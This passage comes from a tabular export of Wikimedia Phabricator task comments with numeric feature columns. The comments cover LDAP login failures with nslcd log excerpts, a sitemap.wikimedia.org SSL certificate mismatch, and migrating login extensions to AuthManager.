[[https://gerrit.wikimedia.org/r/235005]]",,,1441031886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,3.76,0.88,"Change 235005 merged by Andrew Bogott:
Make ldap/nscd/nslcd install order more explicit.

[[GERRIT_URL]]"
517671,Logins fail on new instances,"Change 235005 had a related patch set uploaded (by Andrew Bogott):
Make ldap/nscd/nslcd install order more explicit.

[[https://gerrit.wikimedia.org/r/235005]]
",,,1441031688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,3.6875,0.875,"Change 235005 had a related patch set uploaded (by Andrew Bogott):
Make ldap/nscd/nslcd install order more explicit.

[[GERRIT_URL]]
"
517669,Logins fail on new instances,"Aug 31 14:23:53 nscld-test-1001 systemd[1]: Startup finished in 6.061s (kernel) + 1min 24.383s (userspace) = 1min 30.444s.
Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Connect error
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Server is unavailable
Aug 31 14:25:01 nscld-test-1001 CRON[6524]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Connect error
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Server is unavailable
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> no available LDAP server found: Connect error
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Connect error
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Server is unavailable
Aug 31 14:25:34 nscld-test-1001 nslcd[1833]: [a026fa] <group=""project-testlabs""> no available LDAP server found: Server is unavailable
Aug 31 14:25:38 nscld-test-1001 nslcd[1833]: [447b73] <passwd=""*""> request denied by validnames option",,,1441031208,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,4.9,0.4,0.0,0.0,0.0,0.1,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.1,0.0,0.8,0.0,0.0,0.0,1.7,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.8,0.0,0.1,0.0,0.0,0.0,0.0,0.2,0.8,0.0,0.0,0.1,0.0,0.4,0.0,0.0,0.0,14.7,0.0,0.0,0.0,0.0,0.0,0.1,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,7.1,0.0,0.3,1.2,0.0,0.0,0.0,0.0,2.0,0.0,7.2,0.0,0.0,2.1,16.3,0.0,2.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.6,4.279240324892499,0.43744624940277116,"Aug 31 14:23:53 nscld-test-1001 systemd[1]: Startup finished in 6.061s (kernel) + 1min 24.383s (userspace) = 1min 30.444s.
Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:24:34 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Connect error
Aug 31 14:24:35 nscld-test-1001 nslcd[1833]: [1d5ae9] <group/member=""puppet""> no available LDAP server found: Server is unavailable
Aug 31 14:25:01 nscld-test-1001 CRON[6524]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Connect error
Aug 31 14:25:01 nscld-test-1001 nslcd[1833]: [4a481a] <group/member=""root""> no available LDAP server found: Server is unavailable
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:20 nscld-test-1001 nslcd[1833]: [9abb43] <passwd=""andrew""> no available LDAP server found: Connect error
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-eqiad.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-eqiad.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> ldap_start_tls_s() failed (uri=ldap://ldap-codfw.wikimedia.org:389): Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> failed to bind to LDAP server ldap://ldap-codfw.wikimedia.org:389: Connect error: (unknown error code)
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Connect error
Aug 31 14:25:33 nscld-test-1001 nslcd[1833]: [c240fb] <group/member=""ssh-key-ldap-lookup""> no available LDAP server found: Server is unavailable
Aug 31 14:25:34 nscld-test-1001 nslcd[1833]: [a026fa] <group=""project-testlabs""> no available LDAP server found: Server is unavailable
Aug 31 14:25:38 nscld-test-1001 nslcd[1833]: [447b73] <passwd=""*""> request denied by validnames option"
110511,sitemap.wikimedia.org uses invalid SSL certificate,"Similar to the two domains (download.wiki[mp]edia.org) in T107575, https://sitemap.wikimedia.org/ also uses the cert of dumps.wikimedia.org, since sitemap is a CNAME to dumps.

So sitemap.wikimedia.org needs to point to text-lb and set it to redirect to https://dumps.wikimedia.org/.",Needs Triage,90.0,1440676485,1441205288.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-t2oqe5bothprh5pockho,task_description,resolved,True,c3,3,True,False,True,8,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,14.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,20.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.8181818181818182,"Similar to the two domains (download.wiki[mp]edia.org) in T107575, URL also uses the cert of dumps.wikimedia.org, since sitemap is a CNAME to dumps.

So sitemap.wikimedia.org needs to point to text-lb and set it to redirect to URL"
519265,sitemap.wikimedia.org uses invalid SSL certificate,https://www.ssllabs.com/ssltest/analyze.html?d=sitemap.wikimedia.org&s=208.80.154.224  ,,,1441205596,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,URL  
519256,sitemap.wikimedia.org uses invalid SSL certificate,"Since Apache and DNS change are merged, this should solve the issue for now since sitemap can use the wildcard cert.",,,1441205206,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,9.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.9565217391304348,"Since Apache and DNS change are merged, this should solve the issue for now since sitemap can use the wildcard cert."
519253,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234257 merged by BBlack:
Point sitemap.wikimedia.org to text-lb.

[[https://gerrit.wikimedia.org/r/234257]]",,,1441204975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.9,"Change 234257 merged by BBlack:
Point sitemap.wikimedia.org to text-lb.

[[GERRIT_URL]]"
518811,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234256 merged by Dzahn:
Rewrite sitemap.wikimedia.org to dumps.wikimedia.org

[[https://gerrit.wikimedia.org/r/234256]]",,,1441143774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.411764705882353,0.8823529411764706,"Change 234256 merged by Dzahn:
Rewrite sitemap.wikimedia.org to dumps.wikimedia.org

[[GERRIT_URL]]"
518685,sitemap.wikimedia.org uses invalid SSL certificate,I'd just decom it for now. Can always resurrect if T23765 or something else finds a use for it.,,,1441134511,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,18.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8636363636363636,I'd just decom it for now. Can always resurrect if T23765 or something else finds a use for it.
515858,sitemap.wikimedia.org uses invalid SSL certificate,Also see T101486. Question is what sitemap.wm.org is even here for or if we should simply remove it. Unless we'd actually do T23765 and use it for that.,,,1440685359,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,16.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,9.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.90625,0.8125,Also see T101486. Question is what sitemap.wm.org is even here for or if we should simply remove it. Unless we'd actually do T23765 and use it for that.
515803,sitemap.wikimedia.org uses invalid SSL certificate,I copied the CC list of T107575 to this one.,,,1440680493,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,I copied the CC list of T107575 to this one.
515800,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234257 had a related patch set uploaded (by Chmarkine):
Point sitemap.wikimedia.org to text-lb.

[[https://gerrit.wikimedia.org/r/234257]]
",,,1440680150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 234257 had a related patch set uploaded (by Chmarkine):
Point sitemap.wikimedia.org to text-lb.

[[GERRIT_URL]]
"
515798,sitemap.wikimedia.org uses invalid SSL certificate,"Change 234256 had a related patch set uploaded (by Chmarkine):
Rewrite sitemap.wikimedia.org to dumps.wikimedia.org

[[https://gerrit.wikimedia.org/r/234256]]
",,,1440680141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t2oqe5bothprh5pockho,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,5.0,0.875,"Change 234256 had a related patch set uploaded (by Chmarkine):
Rewrite sitemap.wikimedia.org to dumps.wikimedia.org

[[GERRIT_URL]]
"
110470,Update TwitterLogin to use AuthManager,"See parent task and T110414#1578206.
Calls $wgAuth->allowPasswordChange(). Should be rewritten as a PrimaryAuthenticationProvider.",Needs Triage,90.0,1440643291,1688686056.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_description,declined,True,c3,3,True,False,False,8,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,25.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.95,0.9,"See parent task and T110414#1578206.
Calls $wgAuth->allowPasswordChange(). Should be rewritten as a PrimaryAuthenticationProvider."
2155128,Update TwitterLogin to use AuthManager,{T334546},,,1688686056,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,True,,,418,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,{T334546}
1105591,Update TwitterLogin to use AuthManager,"Change 446357 **merged** by jenkins-bot:
[integration/config@master] Disable test for ext not supporting AuthManager

[[https://gerrit.wikimedia.org/r/446357]]",,,1531844905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,False,,,158,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,3.903225806451613,0.7741935483870968,"Change 446357 **merged** by jenkins-bot:
[integration/config@master] Disable test for ext not supporting AuthManager

[[GERRIT_URL]]"
1105581,Update TwitterLogin to use AuthManager,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
[integration/config@master] Disable test for ext not supporting AuthManager

[[https://gerrit.wikimedia.org/r/446357]]",,,1531844718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-26qgnmzr67uxlhfd4wv4,task_subcomment,,True,c3,3,False,,,158,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,4.228571428571429,0.8571428571428571,"Change 446357 had a related patch set uploaded (by Hashar; owner: Hashar):
[integration/config@master] Disable test for ext not supporting AuthManager

[[GERRIT_URL]]"
110468,Update SSLClientAuthentication to use AuthManager,"See parent task and T110414#1578206.

